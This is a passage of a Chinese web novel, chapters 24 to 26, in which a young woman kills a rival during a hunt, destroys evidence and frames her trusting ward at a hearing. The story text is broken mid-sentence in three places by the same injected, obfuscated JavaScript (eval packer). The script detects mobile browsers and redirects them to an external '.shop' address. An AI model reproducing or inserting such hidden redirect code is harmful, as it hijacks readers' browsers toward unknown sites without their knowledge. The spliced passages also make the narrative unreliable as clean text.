宁吉终于等到了槐翎注意力被夺走的那一瞬,他的父亲曾在前线浴血奋战十年,如今是出色的将领,作为他的儿子,他不可能不给自己留有后手。 等槐翎注意到这份铺天盖地的杀意时,她全身的血液在那刹那变得冰冷,全身的汗毛都竖起来,像是动物出于本能的求生意志。 随之而来的是强烈的愤怒,竟然有人敢这样拿枪口对着自己。 槐翎的人生绝对不会在此处结束,她是这么相信着的,于是她调转枪口,笨重的猎枪在她的手里被赋予了生命,听从她所有的命令—— 两声连续的枪响。 小型动物惊得藏在了自己的洞穴里,它们警惕着观察四周,未有任何外出觅食的勇气。 开车来到树林边缘的祝译抬头看了眼天空,这样湛蓝的天空下却满是杀戮。 她感叹了片刻,找到了槐翎和小久的车,车上空空如也,看来这两个人是进去树林了。 祝译其实不是很想进去,但从今天开始她就一直有奇怪的第六感,驱使她不管如何都要跟过去看看。 想到这里,祝译还是听从了自己的直觉,毕竟在很小的时候她的直觉就准得令人发指。 * 槐翎深呼吸数次,就在刚才,她躲过了一次死亡。 猎枪击碎了宁吉的手臂,那把被他藏起来的手枪也不知道被击飞到哪里,他的皮肤和骨头碎片四处飞溅,槐翎能感觉自己的脸颊上流下两滴新鲜的血液。 手臂被击碎的剧烈疼痛使得宁吉失去了意识,或许在得知自己没能击中槐翎的那一刻他就知道了自己的命运。 这次槐翎没有犹豫,她对着宁吉的头部来了一枪,看着这个面目可憎的“野猪”再也没有生还的可能性。 她咧开嘴笑了。 宁少将看到这样碎成一团的儿子,该是多么的难过啊,这样的他还能没有忧虑地为皇帝卖命吗? 收拾完残局后,槐翎用溪水洗去身上的血液,她也没忘记自己衣服夹层的干扰器,她轻轻一捏,干扰器就碎了,等回到营地后她就能找到机会销毁证据。 她取下帽子和手套,槐翎可没有忘记树林那一声不属于她和宁吉的枪声,恐怕是出自小久的手笔。 如果他死在这里就麻烦了。槐翎凭借记忆迅速在树林里移动,越是靠近小久原本的前进的方向,就越能听到脚步声。 槐翎并未轻易出声说话,她随时准备好猎枪,警惕地四处张望,竟然真的在不远处看到了野猪的足迹。 从留下的足迹来看,野猪的体型不小。 槐翎听见脚步声离自己越来越近,她调整好表情,想好措辞来摆脱自己的嫌疑——她跟丢了猎物,没能命中。 不对,那和小久的脚步声不一样。 小久的脚步声要重一些,这个脚步声轻盈又外行,怎么看都是一名普通女性。 槐翎侧身躲在一棵巨树后,她举起猎枪瞄准脚步声的来源,心里默算着时间,一秒,两秒,三秒…… 祝译闯进了她的瞄准镜里。 槐翎所有杀戮后的轻松愉快都在祝译的出现后消失,她感觉肾上腺素正在作用,她的食指放在扳机上,脑子里只有一个念头。 “祝译是个聪明且敏锐的人,她绝对会猜到发生了什么。我必须要杀了她,毁尸灭迹!” 想到这里,槐翎毫不犹豫地食指用力,然而扳机被锁定的触感让她从执念中醒来。 她太早地毁掉干扰器,失去了一张底牌,如今没办法再对人类开枪。 槐翎修长的手指轻轻颤动,她迫使自己的大脑迅速冷静下来,她无法改变事实,现在唯一能做的只有随机应变了。 无论怎么样,她都要比祝译更早和小久汇合,这样才能尽可能掩盖她不在场的事实。 槐翎听见自己的心脏正在快速跳动,比任何时候都要快且有力。 24. 第 24 章 她站在不远处,透过茂密的树林,看到在枝叶交缠的溪水旁躺着一只硕大的野猪,鲜血染红了溪水,小久侧身站在那里,他低下了头,手里是一把匕首。 匕首上滴着粘稠腥臭的血液,野猪已经失去活动能力,平静地等来了死亡。 没有槐翎的教导,小久独自完成了狩猎野猪的行动。 在注意到槐翎到来时,小久那剧烈的呼吸终于缓和下来,他手抖着给自己灌了一口冰水,眼里满是惊慌。 “你做得很好。”槐翎有些惊讶,她没想过小久能一个人做到。 她走上前去检查野猪的身体,子弹留在了野猪的体内,正正好击碎了它的心脏,是完完全全的一枪毙命,不过野猪身上有大大小小的刀伤,从大小来看像是小久手里那把匕首造成的。 这些刀伤无法对野猪的皮肤造成什么伤害,但这些出血会影响野猪的行动,恐怕在开枪之前,小久经历了一场搏斗。 而在危急的时刻,他还能开枪一枪命中,槐翎倒觉得自己有些小瞧他了。 “已经没事了。”槐翎伸手想要拿走手里的匕首,小久的手指有些僵直,没有一下子松开,他满身血污,脸色惨白如纸,一张脸写满了恐惧与不安。 槐翎再用了些力,成功把小刀拿走,她用水洗干净后擦干放入刀鞘,又接了一瓢溪水用指腹擦去他脸上的血污。 小久只站在原地接受槐翎的好意,他深呼吸数次,才慢慢缓了过来。 “哎呀你们这是…”祝译从树的后面走来,她身上没带任何武器,在这树林像是观光徒步的游客。 小久有很多话想问,比如说为什么在那之后槐翎就不见了,比如说那两枪是不是她开的,又比如说,槐翎的目标到底是不是这一头野猪。 但祝译还在,他敏锐地闭上了嘴巴,把所有问题都藏了起来。 槐翎自然是注意到他怪异的表情,她站在小久身前,把他护在身后,“你跟过来想做什么,分我们的猎物?” “没关系,我对狩猎一点兴趣也没有。”祝译摇头,她甚至把双手举起来做投降的姿态,而她身上竟然什么装备都没带。 “我听到了枪响,所以好奇过来看看。” 槐翎藏在口袋的左手悄然握紧了匕首,她有自信能在祝译说出那些话后就给她一刀,只要把祝译的喉咙割开,接下来就顺利多了。 “没想到你们竟然打下了野猪,从体型来看还是大丰收,看来今天的第一名还是你啊。”祝译一边说,一边慢慢靠近了二人。 “谢谢你的夸奖,请问你能让一下吗?这里蚊虫有点多。”槐翎皮笑肉不笑,在这里耗下去可就麻烦了。 “不好意思啊,我只是有个问题很想确认下,就是——”祝译顿了一下,她看了眼野猪,又盯着二人的神情看了一会。 “——刚刚那三枪,都是你们射-出的吗?” 小久的身体有了细微的闪躲,他下意识看向槐翎,而他的这些小动作也完全被祝译所捕捉。 槐翎的表情没有变化,她就像在聊今天的天气一样轻松,“你问这个有什么用意?不过很遗憾,大侦探,我们只射了一枪。” 祝译盯着槐翎的脸,试图从她的脸上找到些许破绽,然而很遗憾,槐翎淡定自若,神态自然,根本没有说谎的痕迹。 “原来是这样。”祝译微笑,她意有所指地对着小久说话,“要猎一头成年公野猪应该不容易吧。” “嗯…是的。”小久避开了她的眼神,不太自然地点头。 槐翎没有继续和她对话下去的打算,她指挥小久把野猪从树林里运走,因为太重,她不得不用匕首把野猪分割了几个部分,又肆意地叫了几个安保人员过来帮忙运送,而他们通通没有发现躺在树林深处的宁吉。 把野猪送上车后,槐翎又带领小久去另外一个区域继续打猎,祝译开着车跟在他们后面,她也不带武器,只是静静观察二人的动作。 祝译只能感觉到有什么不对劲,但她说不出来有什么使得她有这样的感觉,而槐翎也没办法阻止祝译跟过来,小久也只能暂时把问题藏起来,只等待合适的时机再去询问。 三人就这么各怀心事度过了一天,和昨天一样,他们带来了惊人的猎物,再次保持了积分榜榜首的位置。 把猎枪和子弹交上去后,槐翎也给宏叔发去了一个消息,编码的改写已经完成,现在可以把编码调转过来了。 马上就要到晚饭时刻,安保人员却变得匆忙起来,他们四处巡逻,四处张望,又不断核对手上的资料,槐翎坐在饭桌旁,知道有一场大戏即将来临。 小久却显得要不安些,他频频看向槐翎,却只能看到槐翎那张和往常一样冷静的脸。 紧接着一个看上去稍微高一点的人和槐雾说起了悄悄话,槐雾脸色一变,他反复确认了话中的信息,最后不得不独自跟着那人离开。 学生们并不在意发生了什么,几分钟后美食端了上来,今天的菜里多了一道野猪肉,香味浓郁,让人食欲大开。 槐翎细细品尝完野猪肉,心满意足地离开营地,在确认没人跟踪后,她随手把干扰器的碎片、手套和帽子扔在暖炉里,几分钟后它们化成了灰烬,再也找不到过去的痕迹。 她站在空地上,看着安保人员来来往往,他们穿上了装备,甚至带上武器,车辆在营地里肆意开着,每个人的脸都紧绷着,全然没有注意到带着愉悦笑容的槐翎。 一个小时后,槐雾找到槐翎,他比安保人员还要紧张些,一头都是汗珠,他焦虑地在槐翎的小屋里来回踱步。槐翎递给他一杯冰水,让他尽快冷静下来。 “阿翎你知道吗,宁吉竟然不见了!” “宁吉?不见了?”槐翎佯装惊讶,她也顺势坐了下来,等待槐雾继续说下去。 “对,他没有回来上交武器,也不在营地里,根据其他人的报告,他好像从今天早上就不见人影了。” “或许他不想参加狩猎了。”槐翎一点也不在意,她摆摆手,“再说了,你知道我不喜欢他的,他不在更好。” “我知道,阿翎,他不会擅自离开的,毕竟他约了我今晚在营地议事来着,唉这下麻烦了,如果他真的……”槐雾斟酌了一下用词,最终还是没勇气说出来,“父亲会杀了我的,宁少将也不会放过我。” 说完,他的头深深地埋着,再也没有往日的意气风发。 “对了阿翎,你有没有什么线索?比如说宁吉有没有和你见过面?”槐雾突然抬头,他眼睛里都是红血丝,双手紧紧地抓着槐翎的肩膀,槐翎强忍着不适,但也只能摇头。 “是吗……”槐雾无力地瘫坐下来,他再也没有话可以说了。 * 针对宁吉的搜索持续到第二天的凌晨,最终猎犬在树林的深处找到了宁吉的尸体,虽说面部无法辨认出宁吉的脸,但从他的身体数据和手里拿着的猎枪编码可以确定,这具尸体毫无疑问就是宁吉。 槐雾稍后跟着安保小队进入了树林,在看到宁吉尸体后,他没忍住扭头就在旁边哇哇大吐,此时晚上的野猪肉还没能消化完毕。 这件事很快就传了回来,皇帝和宁少将还未知道,但很显然等早上一到,这个消息就会不胫而走。 法医连夜赶来,在拍摄好现场照片后,几人合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233282|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力把宁吉的尸体搬走,他们将会调查死因,到底是人做的,还是野兽做的,总得有个定论。 槐雾揉了揉眉心,他此刻心里只有一个想法——那就是回去温暖的小屋早点睡。 几个小时后,猎区被全面封锁,连一只蚊子都飞不进去,数不清的直升机和无人机在四周盘旋,他们都配有武装,只要有人擅自离开猎区,都会立刻原地射杀。 槐翎睡了充实的一觉,她根据指引和其他学生一起坐在营地里,槐雾来到台上,他一晚上没睡,黑眼圈挂在眼下,脸部也因为熬夜变得浮肿。 他手里拿着法医的尸检报告,手指微微颤抖。 一部分消息灵通的学生早就知道发生了什么,正在低头说着悄悄话,小久自然也听到了些片段,他沉默地看向槐翎那边,心里有许多问题说不出来。 “根据法医鉴定,宁吉死于昨天的上午九点,三颗子弹穿过了他的身体,一颗在左手,一颗在心脏旁两厘米处,最后一颗在眉心。致命伤是头部的伤害,根据子弹型号可知,这些子弹均来自我们这次狩猎活动配置的狩猎专用子弹。” 营地里一片哗然,大家都知道这些配置的猎枪是不能对人使用的,然而子弹又是与营地的装备同一型号,是有人混进来了还是有人做了手脚尚未知。 “从现在开始,营地将会进行全面的封闭,大家不得擅自离开猎区,如果有什么生活上的需要,可以联系安保人员处理。如果有人擅自离开猎区,我们将会视此行为为畏罪潜逃,无论是谁,都会被现场射杀。” 营地里说话的声音越来越大了,槐雾的声音被掩埋,大家再也不在意后面说了什么,现在猎区里出了一个凶手,还用武力胁迫不允许大家离开,怎么看都充满了危险,只怕要尽快离开猎区才是正事。 槐雾的脸一沉,他大手一挥,数不清的安保人员涌了上来,他们礼貌地“请”学生们回到自己的小屋,学生尽管有再多的不满,看到他们身上配置的武装后也只能作罢。 等他们都一一回营地后,安保人员又把小屋从外面锁了起来,每一个区域都有人员巡逻,那些咒骂声和哭喊声都在小屋里回荡,然而没有人在意学生说了什么。 槐翎自然也被“请”了回去,她安静地坐在椅子上喝茶,不用多久,槐雾就会派人带她去外面进行审问,她早就预料到这一点,心里一点也不紧张,相反有种事实都与她计划的完全一致的舒畅。 十分钟后,槐翎果真被带了出去,她也不多问,只跟在安保人员的身后,走了一段路后,她在会议室里看到了小久和祝译。 二人都久久看向槐翎,他们一句话没说,表情复杂。 槐雾坐在正中央,他疲惫地看向槐翎,眼里没有了往日的光彩。 “槐翎,”槐雾少有地叫了她的全名,“在宁吉身上找到的子弹编码和这位小久的猎枪编码一致,作为他的,呃,监护人,你有什么头绪吗?” 槐翎侧头看向小久,他眉头紧锁,瘦削的身体因为紧张正在轻微地发抖,那双大眼睛像是在努力透过眼神传递自己的内心想法。 他把所有的希望都放在了槐翎的身上,只要槐翎愿意为他作证,那么他马上就能洗脱冤屈,他根本不懂什么编码,也未曾与宁吉见面,宁吉死亡的时间他正在与野猪对峙,根本不可能有击杀宁吉的可能性。 他看上去是那么的可怜,弱小,槐翎把目光收了回去,她脸色未有丝毫变化,站在槐雾的对立面,槐翎用在场所有人都能听得一清二楚的音量说出了自己的证词。 “我并不清楚。” 小久深深地闭上了眼睛,不愿再去看眼前的槐翎。 25. 第 25 章 “我们打算猎一头野猪,我追踪到它的足迹,因为树林不利于行动及跟踪,所以我要求小久与我分头行动,在追踪到野猪后,我开了一枪,成功猎到了野猪。在我开枪之前,我曾听见过不远处有一声枪响,我以为那是小久开的枪,所以并未在意。”槐翎有条不紊地说出自己的证词,她从容不迫。 小久用力攥着衣角,他现在完全可以确定槐翎做了什么,槐翎是怎样聪明的人啊,她知道自己的证词有着怎样的力量,只需要一句就足够判自己死刑。 而他竟然就这么傻乎乎的成为了替罪羊,甚至连反驳的机会都没有。 这种被背叛的感觉,甚至比那天脏器破裂骨肉粉碎来得要更加痛苦。 要质问的话语一句都说不出来,全堵在喉咙处,他只觉得难以呼吸,大脑一片空白,前面她的温柔全都是虚情假意,全都是为了这一刻。 小久彻底崩溃了,他摇摇欲坠,胸口处传来的痛楚让他全身都是冷汗。 “祝译,你的证词呢?”槐雾并未发表评论,而是看向祝译。 祝译的手指在没人看见的桌子下握成了拳,这件事情绝对不是槐翎说的那样的,她看了一眼小久,她似乎能感觉到小久的痛苦。 她深深吸了一口气,然后用力地吐了出来。 “不,我清楚看到小久猎杀了野猪,他先是用匕首与野猪搏斗,待到拉开距离后,他开枪射中了野猪的心脏,野猪才死亡,因为一开始用的是匕首,他身上沾满了野猪血,槐翎过来为他洗掉了脸上的血渍。” 槐雾的目光落在了小久身上,“轮到你了。” “我……”小久还是习惯性地看向槐翎,现如今,无论小久会说什么,槐翎都觉得无所谓了,祝译就算真的看到了,她也没有物证,没有物证那只能是没有证据支持的大话。 槐翎朝小久微微一笑,她的笑容是那么的亲切和善,眼里却是冷漠得像是毒蛇。 他突然就松了一口气,原来,从始至终槐翎都只是把他当成一件道具来使用。她的那些关心与友善,都不过是伪装罢了。 说来也是,槐翎的身边根本不缺一个端茶倒水的人,只要她想要就会有成百上千的人为她服务,自己这样的人又凭什么站在她身边呢? 虽然如此,和她相处的点滴里,小久又是真切地感受到了幸福二字,他久违地从他人身上汲取到了温暖,那么的美好,又那么的残忍,残忍到他不舍得离开。 现在幻梦破裂,也是时候认清楚现实了。 毕竟他们自始至终就不是一个世界的人,远得甚至无法在同一片天空下呼吸。 既然槐翎想要替罪羊,那他当就是了。 这样他们就互不拖欠了。 往日里槐翎握着他的那双手,就像是毒蛇一般,无声且冰冷地缠上他的四肢,操纵他的身体,在最后一刻残忍地挤压了他身体里残余的氧气。 他眼眶变得通红,声音哽咽着,强行压着喉头一字一句地说出自己的证词。 “猎到野猪的是槐翎,不是我。我亲手杀了宁吉,他挣扎得很厉害,所以我开了第三枪他才死去。” 他瘦削的身躯站得笔直,从此之后,他眼里再也不会有槐翎这个人。 “不对!”祝译用力拍打桌子,“不是这样的!”她拼命摇头,声音也变得尖锐刺耳。 “安静!”槐雾让人把祝译按回去,祝译不断挣扎,她嘴里喊着些什么,因为被捂着嘴巴没能听清。 “把物证拿上来。”槐雾头疼得很,他揉了揉太阳穴,屏幕上出现了调查后找到的物证。 分别是宁吉体内的子弹和野猪体内的子弹,子弹经由扫描后显示了编码,上面的编码能够在系统中找到对应的猎枪和持枪人。 宁吉体内的子弹主人是小久,而野猪体内的子弹主人则是槐翎。 事实摆在这里,已经无法辩驳了。 “派发的猎枪无法瞄准人类,小久又是如何绕过这项设定对宁吉发起攻击?”祝译推开身边的安保人员,她这个问题也正是大家所关心的,因此未有人阻止她。 “你来说。”槐雾看向小久。 小久面如死灰,他的嘴唇因为过于干燥已经开裂,能看到血痕在嘴唇上,他一张嘴就能感觉到一滴殷红落在唇上。 “我做了些手脚,所以做到了。” 那血是那么的腥臭,又是那么的温暖。 “具体说说。”槐雾催促道。 小久动了动嘴唇,却什么都说不出来。 这场小小的辩论陷入了沉默,槐翎当然知道小久是说不出来的。 “因为不是他干的,所以他不知道什么原理,这很难理解吗?”祝译依旧不依不饶,她满腔怒火,直烧得她满脸通红,如果不是有人守在她旁边,此刻她早就扑上去把槐翎虚伪的面具彻底扯下来。 “去搜他的房间,马上。”槐雾说道。 “为表公平,我认为你可以把我们三个人的房间都搜了,这样说不定能找到更多物证。”祝译提出建议,她声音响亮,她用力地瞪了眼槐翎,希望槐翎能借此说点什么,如果槐翎表示反对的话那就太好了。 槐翎也站了起来,她沉默了几秒后,也向槐雾提出了建议。 “我同意祝译所说的建议,这样也好帮我洗脱冤屈,你说是不是,祝译小姐?”她面带微笑,言语里毫无畏惧。 祝译,今天你在这里阻碍我,日后我可要你付出代价的。 祝译睁大了眼睛,她抓紧了身下的椅子扶手,因为太过用力,扶手嘎吱作响。 现在的她意识到槐翎是有备而来的,槐翎为了嫁祸给小久,恐怕早早就做好了计划,她满头冷汗,再也没有了直视小久的勇气。 小久已经失去了生存的动力,而自己却没有任何物证能够帮上忙,自己再这样乱说下去,恐怕连站在这里的资格都要失去。 祝译的心缓缓沉了下去,她深呼吸数次,努力让自己冷静下来,她必须要找到槐翎话语中的漏洞,有什么是和物证事实相违背的,又有什么细节是她从未注意到的? 十分钟后,安保人员把两件沾了血液的衣服带了上来。 因为尺码不同,所以很容易分辨出衣服的主人是谁。 而昨日因为一片混乱,并未安排洗衣服务,这些换下来的衣物就自然而然还留在房间里。 “拿去检测,看血液样本属于谁。” 槐翎的眉头跳了一下,她的衣服上没有沾到宁吉的血,沾到宁吉血的手套和帽子都已经销毁,只有一些血液是在分割野猪尸体时沾到的,她虽故意为之,却很难做到现实里溅到的血一样的痕迹。 还有那把匕首…虽然她在那之后用自己的匕首顺着匕首伤口切开了野猪的尸体,但搏斗和单纯切割的动作会对匕首产生不一样的影响,小久的那把匕首已经卷刃。 如果他们提到匕首的话,槐翎需要好好考虑下怎么回答。 “等血液对比结果出来还有一段时间,先确认一下别的事情。”槐雾翻了一下报告,“祝译,你提到了匕首,跟我说说是怎么回事。” “很显然。”见槐雾提到了疑点,祝译心里多了几分底气,之前她还不确定槐雾的立场,如今槐雾的表现十分公正,并无偏袒槐翎的意思,这对小久是有利的。 “在野猪的身上有匕首的痕迹,根据野猪的皮肤强度和不同情况下的用刀方式,都会对刀有不同的影响,只要对比两把匕首的情况就能明白怎么回事了。” 祝译是看着槐翎用匕首切割野猪的,但那会的野猪已经死亡,和还活着的野猪截然不同。 两把匕首被呈了上来,很明显小久的匕首卷刃更多,槐翎的匕首只有轻微的磨损。 “请问,宁吉的身上是否有匕首留下的痕迹?”祝译乘胜追击,说完这句话后,她还直直看向槐翎,眼神锐利和她们初次见面如出一辙。 “没有。”槐雾摇头,他和祝译一样看向了槐翎,希望槐翎能给出解释。 槐翎平静地点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254275|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,波澜不惊地换了个舒服点的坐姿,“我经过多年的军事训练,对于匕首有自己的使用心得,知道如何更高效地使用匕首,并且在狩猎的第一天,小久——这位嫌疑人在我的教导下逐一分割了猎物,他并未习得如何使用匕首,因此匕首的损耗比一般人要更多些。再者,营地并未对每天的装备回收情况做拍摄记录,如何得知这些损耗是仅在狩猎第二天造成的?” “你!强词夺理!”祝译气得咬紧牙关,她并未轻言放弃,而是再次看向槐雾,“我申请对野猪身上的伤痕做鉴定。” “驳回。”槐雾摇头,“所有的猎物已经分解完毕,没办法做鉴定。” “……”祝译这下也无话可说了,她不忍地看了眼小久,恐怕这次没有人能帮到他,是了,一个没有权势的E区人,要如何才能改变呢? 就连槐翎这个原本能作为他后盾的人,都在第一时间放弃了他,所有的黑锅和脏水都扣在他的头上,他又能说些什么? 但是想到小久就这么放弃了反抗,祝译只觉得愤愤不平。 如今匕首这一点也被槐翎轻轻带过,就算可疑,没有证据就没有了质证的必要,槐翎表现得这么冷静,是因为早就知道无法查证吗? 槐翎放松地靠着椅背,现在匕首的问题已经解决,虽然险,但也有效。她得意地记住祝译无计可施的表情,品尝她整个人散发出的苦涩,就像是一只困在笼子里的猛兽,拥有利齿和锋利爪子的她原本可以轻易撕碎血肉,却被简单的金属牢笼所控制,让脆弱的人类得以轻易体会到这份来自自然的美丽。 祝译快速地在脑内回想所有人说过的话语,那无法被动摇的尸检报告,摆在台上的证据,那片隐藏杀机的树林,刻有编码的猎枪与子弹,中了三枪的宁吉,被猎杀的野猪,站在野猪旁沐浴着鲜血的小久,用手拭去鲜血的槐翎,她那意味深长的笑容… 祝译还记得自己曾经站在工作人员的身旁,看着她亲手把凶器递给槐翎。 “槐翎,编码尾号X327。” “槐翎,编码尾号A640。” 祝译灵光一闪,她感觉到自己抓到了什么线索,她感觉全身的毛孔都打开,一个不太可能、违反直觉的猜测出现了。 编码被换过,只有这一前提成立了,才使得槐翎做的这一切变得合理。 ……可祝译没有证据,只是她记忆力比较好罢了,说出去也只会让人取笑。 就算这样,祝译也不打算就这么让槐翎糊弄过去,她松开拳头,恢复了一如既往的冷静,这里不是真正的法庭,小久的命运并不会掌握在槐雾的手里,就让更加公正公平的人去做裁决吧,只有尽可能地为小久多说一点话才会让他有生还的可能性。 “众所周知,槐翎为小久提供庇护,槐翎对小久也有救命之恩,那么如果我假设——只是假设,并无冒犯二位的意思,槐翎以这份恩情做道德绑架,要求小久协助她完成杀害宁吉呢?” 祝译走到槐雾的跟前,她像是一位天生的表演者,用自己的话语来操纵舞台,这个假设合情却不合理,但足够影响大家的判断。 “来自E区的小久,在A区没有任何庇护,只要是槐翎的命令,小久就没有拒绝的选项,于是他把自己的猎枪和槐翎的猎枪交换了,为了槐翎的不在场证明,小久猎杀了野猪,只要再把猎枪换回来,那么一切就合理了,不是吗?” “槐翎,你敢说小久有拒绝你的可能性吗?” 槐翎抓紧了椅子扶手,她虽有一刻的紧张,但很快她就想到自己一直藏着未发的最后的杀手锏。 原本她不打算使用,不过如今祝译提到,恐怕也到了启用的时候了。 皇帝想要安稳坐在那个位置上?她槐翎偏偏要把他拉下来! “拒绝?我怎么不知道我有这么强大的力量,能够影响这位安插到我身边的间谍。”槐翎眉头紧锁,她佯装痛苦,眼角渗出湿润看向小久。 祝译目瞪口呆,这个人到底还有什么底牌?! 26. 第 26 章 提到间谍,大家的神色都变得紧张起来,槐雾甚至少有地催促槐翎继续说下去。 “大家都认为这位是来自E区的,甚至连我都被蒙蔽了,幸好之前堂哥提醒了我一下要注意身边的人,于是我对他进行了背景调查,事实就是——他并不是来自E区,而是生于C区,而他的父亲则是之前E区暴乱中的受害者。”槐翎娓娓道来,全然没有注意到小久的状态,他浑身发抖,甚至无法再维持站姿。 祝译不知道该如何反应,她只张大嘴巴等槐翎说完。 “他的父亲正是那位在实地调查E区案件时被害的检察官,大家也知道因此E区产生了大规模的动乱,是皇帝亲自下令镇压后才有所好转,作为这名英雄检察官的独子,皇帝自然不会薄待他,于是他舍弃了过去的名字,以E区的黑暗为背景,成为了皇帝的间谍,安插在各个区之间,只为完成皇帝的任务。” “祝译你说,像这样的人,想要获得我的踪迹,获得我的关注,不是很容易吗?在获得我的信任后,他一步步合理地靠近了A区的中心,终于靠着这次机会铲除了宁吉,反正大家都知道他表面的依靠是我,无论如何我都难辞其咎。” “这……不可能!”祝译终于回过神来,她恨不得扑上去给槐翎两巴掌,但理智让她冷静,槐翎说得有理有据,甚至能够和事实对应上,而且她敢这么说,肯定是早就准备好了证据。 “槐雾,请让我出示证据。”槐翎清脆的声音一步一步把小久推向了深渊。 槐雾闭紧了嘴巴,他低垂着头,并没有回应槐翎的请求。 提到皇帝,没有人会认为这是一件小事,大家都惧怕于皇帝的权力,又惧怕于他的雷霆手段,这个国家能扩张到如此大的版图,绝对不是依靠柔弱的政策的。 “阿翎,你当真要这样做吗?”槐雾抬头看向槐翎,他眼里似有怜悯,又像是有不忍心。 “是的,这也是为了我的清白。”槐翎振振有词,全然没有注意到槐雾深处的劝阻之意。 祝译却在这时意识到这件事走向另一个不可挽回的方向了,她识趣地闭上嘴巴,槐翎难道没有想到吗?就算是皇帝安插的人又如何,这个国家都是他的囊中之物,他要往哪里安插眼线都是他的自由! 槐翎把一份文件递了上去,槐雾看了眼标题就明白这到底是什么。 “的确…这是父亲的笔迹,这份密令是写给那位检察官的,他承诺会妥善安置检察官的家人,并且给予了丰厚的赔偿,原本许诺的B区居住权也会按照程序办理。” 槐翎并未伪造皇帝的书信,这确确实实是皇帝亲笔写下的,但最终小久如何会来到E区,那恐怕就是他的家事了。 “但是,”槐雾顿了一下,“针对你所说的小久为皇帝安插的间谍一事,我认为此事不成立。” 槐翎当然知道凭借这么一封信不可能说服大家,只要能在他们心中留下这么一个印象即可,这个水她要搅得再混一些。 她装作愣神,而后低下了头,虽懊恼却很快就接受了槐雾的说法。 “可是,在小久杀害宁吉这件事上,我是完全不知情的。” “无论他是出于谁的意志,是私人恩怨,还是其他…”槐翎没再说下去,她的意思很明确,这脏水是怎么着都要泼在小久身上了。 槐雾并未接话,此时一名工作人员急匆匆跑过来,她手里拿了两份文件,神色慌张。 “殿下,这是血液检查报告……”她在槐雾身边悄声说着,大家都静静地等待槐雾宣布结果。 然而这次槐雾却沉默了有两三分钟,他仔细地阅读了上面的报告,生怕有任何遗漏。 在大家期待又紧张的注视下,槐雾终于说出了大家最关心的结论。 “血液检查报告已明确,二人的衣物上并未沾有宁吉的血液,针对小久的指控,证据不足,不足够判定他为杀害宁吉的凶手,毕竟我不是法官,这些证物都会上交给法院进行审理;至于槐翎,更加没有杀害宁吉的可能性。” “这……”祝译倒是没想到会有这样的结果,她担忧地看向小久,要交给法院审理,说明还有好几个月的时间,在那之前她可以找到律师为他辩护,只要还有一线生机,他还不能放弃! “作为证人的你,祝译,你必须要配合调查。” 祝译从这句话里听出了些许威胁的意味,她当然会配合,槐雾说这些话,是想警告她? 这个小小的法庭也随之休庭。 祝译连忙去扶起摇摇欲坠的小久,他脸上毫无血色,眼神空洞,全身冰冷得像是失去了生机,祝译吓了一跳,随之而来的是满腔对槐翎的愤怒。 她是知道的,小久每每在和自己谈论起槐翎时,他的嘴角总会有若隐若现的笑意,整个人都被温柔的氛围所包裹,小久毫无疑问是“爱”着槐翎的,不是出于男女之情,而是家人之情。 而槐翎不仅否定了他们的相遇,还否定了他们相处的点滴,多少个日日夜夜都成了肮脏的虚伪与欺骗,这同时也是对小久最大的侮辱与否定,她不会真的感觉不到小久对她的感情,她只是…根本不在意罢了。 想到这里,祝译只觉一阵悲凉,她和小久不算特别亲密的同学,尚能从他的只字片语中体会到这份感情,作为当事人的小久,得有多痛苦? 现在的小久已经不可能回去了,他真的一无所有了。 祝译长叹,心里有万般不忍,也想不到什么办法能救他于水火之中。 而槐翎头也没回,她一个人离开了房间,只留下鞋跟与地面碰撞的声音,清脆得像是山间流水,干脆利落,不带有一丝感情。 * “坐吧。”槐雾指了指身前的椅子,槐翎环顾了四周,槐雾的小屋和其他人的一样,只是多了些装饰。 她坐了下来,等待槐雾的下一步行动。 “这是血液检查报告,你自己看吧。”槐雾把报告扔过去,他少有地动怒了,脸上的黑眼圈越来越深,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13267253|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着比以前苍老了许多。 槐翎心里大惊,她连忙翻到自己的报告,直接查看最后的报告结果,结果显示她的领口有一滴来自宁吉的血,而且从痕迹来说,这滴血是溅射上去的,符合现场的轨迹。 这一滴血,足够推翻槐翎所做的全部证据。 她强撑着冷静,露出了几分勉强的笑容。 既然槐雾单独和她谈话,证明这件事还有商量余地,只要槐雾协助篡改报告,那么她的嫌疑就完全消失了。 “堂哥…”没等槐翎说出话来,槐雾就挥手打断了她。 “你别以为我还会吃这一套。”槐雾面露凶狠,他的面相突然就变了,原本浑浊的眼珠子竟然多了几分戾气,他露出白森森的牙齿,笑起来阴森又可怖。 “你太贪心了,竟然还想扯上皇家。” 